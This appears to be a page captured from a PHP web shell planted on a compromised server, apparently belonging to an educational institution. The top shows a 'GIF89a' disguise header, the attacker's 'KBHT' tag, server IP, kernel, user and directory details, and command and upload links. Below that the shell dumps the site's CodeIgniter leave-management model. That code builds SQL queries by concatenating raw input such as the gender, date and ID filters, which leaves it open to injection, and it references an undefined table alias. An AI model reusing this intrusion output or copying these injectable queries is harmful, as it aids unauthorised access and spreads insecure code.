GIF89a; CRX
KBHT HEHE
Server IP : 172.26.0.195  /  Your IP : 3.17.154.144
Web Server : Apache
System : Linux 43-205-77-33.cprapid.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64
User : jnclnmuac ( 1026)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/jnclnmuac/public_html/web/../admission/../cas/application/models/admin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/jnclnmuac/public_html/web/../admission/../cas/application/models/admin/LeaveManagement.php
<?php

/**
 * Model For Handling All DB Operations Related To Leave
 *
 * @author Softpro India Pvt. Ltd.
 */
defined('BASEPATH') OR exit('No direct script access allowed');

class LeaveManagement extends CI_Model {

    function createNewLeaveType(array $newLeaveTypeInfo) {
        $this->db->insert('tbl_leave_type_master', $newLeaveTypeInfo);
        return $this->db->insert_id();
    }

    function getAllLeaveType() {
        $this->db->select("TLTM.tltm_id,TLTM.tltm_name,TLTM.tltm_short_name,TLTM.tltm_active_status,TLTM.tltm_delete_status,"
                . "TLTM.tltm_added_by,TLTM.tltm_added_on,TLTM.tltm_updated_by,TLTM.tltm_updated_on,"
                . "CONCAT(TPRFLA.tprfl_firstname,' ',TPRFLA.tprfl_lastname) addedByAdmin,"
                . "CONCAT(TPRFLU.tprfl_firstname,' ',TPRFLU.tprfl_lastname) updatedByAdmin");
        $this->db->from('tbl_leave_type_master TLTM');
        $this->db->join('tbl_staff_members TSMA', 'TLTM.tltm_added_by = TSMA.smember_id');
        $this->db->join('tbl_profile TPRFLA', 'TSMA.smember_id = TPRFLA.tprfl_id');
        $this->db->join('tbl_staff_members TSMU', 'TLTM.tltm_updated_by = TSMU.smember_id');
        $this->db->join('tbl_profile TPRFLU', 'TSMU.smember_id = TPRFLU.tprfl_id');
        $this->db->order_by("TLTM.tltm_updated_on", "desc");
        return $this->db->get();
    }

    function getLeaveTypeBy($tltm_id) {
        $this->db->select("TLTM.tltm_id,TLTM.tltm_name,TLTM.tltm_short_name,TLTM.tltm_active_status,TLTM.tltm_delete_status,"
                . "TLTM.tltm_added_by,TLTM.tltm_added_on,TLTM.tltm_updated_by,TLTM.tltm_updated_on,"
                . "CONCAT(TPRFLA.tprfl_firstname,' ',TPRFLA.tprfl_lastname) addedByAdmin,"
                . "CONCAT(TPRFLU.tprfl_firstname,' ',TPRFLU.tprfl_lastname) updatedByAdmin");
        $this->db->from('tbl_leave_type_master TLTM');
        $this->db->join('tbl_staff_members TSMA', 'TLTM.tltm_added_by = TSMA.smember_id');
        $this->db->join('tbl_profile TPRFLA', 'TSMA.smember_id = TPRFLA.tprfl_id');
        $this->db->join('tbl_staff_members TSMU', 'TLTM.tltm_updated_by = TSMU.smember_id');
        $this->db->join('tbl_profile TPRFLU', 'TSMU.smember_id = TPRFLU.tprfl_id');
        $this->db->where('TLTM.tltm_id', $tltm_id);
        return $this->db->get();
    }

    function getNonDeletedActiveLeaveTypes() {
        $this->db->select('*');
        $this->db->from('tbl_leave_type_master');
        $this->db->where('tltm_active_status', "T");
        $this->db->where('tltm_delete_status', "F");
        return $this->db->get();
    }

    function getLeaveTypeByName($tltm_name) {
        $this->db->select('*');
        $this->db->from('tbl_leave_type_master');
        $this->db->where('tltm_name', $tltm_name);
        return $this->db->get();
    }

    function getLeaveTypeByShortName($tltm_short_name) {
        $this->db->select('*');
        $this->db->from('tbl_leave_type_master');
        $this->db->where('tltm_short_name', $tltm_short_name);
        return $this->db->get();
    }

    function isLeaveTypeNameSafeUpdate($tltm_id, $tltm_name) {
        $this->db->select("*");
        $this->db->from('tbl_leave_type_master');
        $this->db->where('tltm_name', $tltm_name);
        $this->db->where('tltm_id != ' . $tltm_id);
        $result = $this->db->get()->result();
        if (sizeof($result)) {
            return FALSE;
        } else {
            return TRUE;
        }
    }

    function isLeaveTypeShortNameSafeUpdate($tltm_id, $tltm_short_name) {
        $this->db->select("*");
        $this->db->from('tbl_leave_type_master');
        $this->db->where('tltm_short_name', $tltm_short_name);
        $this->db->where('tltm_id != ' . $tltm_id);
        $result = $this->db->get()->result();
        if (sizeof($result)) {
            return FALSE;
        } else {
            return TRUE;
        }
    }

    function updateLeaveTypeInfo(array $leaveTypeUpdatedInfo) {
        $this->db->where('tltm_id', $leaveTypeUpdatedInfo['tltm_id']);
        return $this->db->update('tbl_leave_type_master', $leaveTypeUpdatedInfo);
    }

    /* Functions For Leave Apply & Related Stuffs */

    function createNewLeaveRequest(array $newLeaveRequestInfo) {
        $this->db->insert('staff_leave_mst', $newLeaveRequestInfo);
        return $this->db->insert_id();
    }

    function getLeaveRequestInfoBy($slm_id) {
        $this->db->select('*');
        $this->db->from('staff_leave_mst SLM');
        $this->db->join('tbl_leave_type_master TLTM', 'SLM.tltm_id = TLTM.tltm_id');
        $this->db->join('tbl_session_master TSM', 'SLM.session_id = TSM.session_id');
        $this->db->join('tbl_staff_members TSMR', 'SLM.smember_id = TSMR.smember_id');
        $this->db->join('tbl_profile TPRFLR', 'TSMR.smember_id = TPRFLR.tprfl_id');
        $this->db->join('tbl_logindetails TLDR', 'TSMR.tld_id = TLDR.tld_id');
        $this->db->join('tbl_role_master TRMR', 'TSMR.role_id = TRMR.role_id');
        $this->db->join('tbl_designation_master TDEM', 'TPRFLR.desig_id = TDEM.desig_id');
        $this->db->join('designation_category_mst DCM', 'TDEM.dcm_id = DCM.dcm_id');
        $this->db->join('tbl_sub_departments_master TSDM', 'TLDR.sub_dept_id = TSDM.sub_dept_id');
        $this->db->join('tbl_department_master TDM', 'TSDM.dept_id = TDM.dept_id');
        $this->db->where('SLM.slm_id', $slm_id);
        return $this->db->get();
    }

    function getAppliedLeaveReport($smember_id = '', $department = '', $subDepartment = '', $desinationCategory = '', $designation = '', $gender = '', $tltm_id = '', $session_id = '', $startDate = '', $endDate = '', $rangeAppliedwith = '', $status = '') {
        $this->db->select('*');
        $this->db->from('staff_leave_mst SLM');
        $this->db->join('tbl_session_master TSM', 'SLM.session_id = TSM.session_id');
        $this->db->join('tbl_leave_type_master TLTM', 'SLM.tltm_id = TLTM.tltm_id');
        $this->db->join('tbl_staff_members TSMR', 'SLM.smember_id = TSMR.smember_id');
        $this->db->join('tbl_profile TPRFLR', 'TSMR.smember_id = TPRFLR.tprfl_id');
        $this->db->join('tbl_logindetails TLDR', 'TSMR.tld_id = TLDR.tld_id');
        $this->db->join('tbl_role_master TRMR', 'TSMR.role_id = TRMR.role_id');
        $this->db->join('tbl_designation_master TDEM', 'TPRFLR.desig_id = TDEM.desig_id');
        $this->db->join('designation_category_mst DCM', 'TDEM.dcm_id = DCM.dcm_id');
        $this->db->join('tbl_sub_departments_master TSDM', 'TLDR.sub_dept_id = TSDM.sub_dept_id');
        $this->db->join('tbl_department_master TDM', 'TSDM.dept_id = TDM.dept_id');
        $this->db->where("TPRFLR.tprfl_gender LIKE '%" . $gender . "%'");
        $this->db->where("TLDR.tld_delete_status", 'F');
        /* Staff Member Wise Filter */
        if ($smember_id != '') {
            $this->db->where('SLM.smember_id', $smember_id);
        }
        /* Staff Member Wise Filter */
        /* Department Wise Filter */
        if ($department != '') {
            $this->db->where("TDM.dept_id", $department);
        }
        /* Department Wise Filter */
        /* Sub-Department Wise Filter */
        if ($subDepartment != '') {
            $this->db->where("TLDR.sub_dept_id", $subDepartment);
        }
        /* Sub-Department Wise Filter */
        /* Designation Category Wise Filter */
        if ($desinationCategory != '') {
            $this->db->where("DCM.dcm_id", $desinationCategory);
        }
        /* Designation Category Wise Filter */
        /* Designation Wise Filter */
        if ($designation != '') {
            $this->db->where("TPRFLR.desig_id", $designation);
        }
        /* Designation Wise Filter */
        /* Leave Type Wise Filter */
        if ($tltm_id != '') {
            $this->db->where('SLM.tltm_id', $tltm_id);
        }
        /* Leave Type Wise Filter */
        /* Session Wise Filter */
        if ($session_id != '') {
            $this->db->where('SLM.session_id', $session_id);
        }
        /* Session Wise Filter */
        /* Dates Combination */
        if ($startDate != '' && $endDate != '') {
            if ($rangeAppliedwith == "LDR") {
                $this->db->where("SLM.slm_from >= '" . $startDate . "' && SLM.slm_to <= '" . $endDate . "'");
            } else if ($rangeAppliedwith == "ADR") {
                $this->db->where("SLM.slm_added_on >= '" . $startDate . "' && SLM.slm_added_on <= '" . $endDate . "'");
            } else {
                $this->db->where("SLM.slm_admin_update_on >= '" . $startDate . "' && SLM.slm_admin_update_on <= '" . $endDate . "'");
            }
        } else if ($startDate == '' && $endDate != '') {
            if ($rangeAppliedwith == "LDR") {
                $this->db->where("SLM.slm_to <= '" . $endDate . "'");
            } else if ($rangeAppliedwith == "ADR") {
                $this->db->where("SLM.slm_added_on <= '" . $endDate . "'");
            } else {
                $this->db->where("SLM.slm_admin_update_on <= '" . $endDate . "'");
            }
        } else if ($startDate != '' && $endDate == '') {
            if ($rangeAppliedwith == "LDR") {
                $this->db->where("TSPI.slm_from >= '" . $startDate . "'");
            } else if ($rangeAppliedwith == "ADR") {
                $this->db->where("SLM.slm_added_on >= '" . $startDate . "'");
            } else {
                $this->db->where("SLM.slm_admin_update_on >= '" . $startDate . "'");
            }
        }
        /* Dates Combination */
        /* Status Wise Filter */
        if ($status != '') {
            $this->db->where('SLM.slm_status', $status);
        }
        /* Status Wise Filter */
        return $this->db->get();
    }

    function updateLeaveInfo(array $leaveUpdatedInfo) {
        $this->db->where('slm_id', $leaveUpdatedInfo['slm_id']);
        return $this->db->update('staff_leave_mst', $leaveUpdatedInfo);
    }

}

KBHT - 2023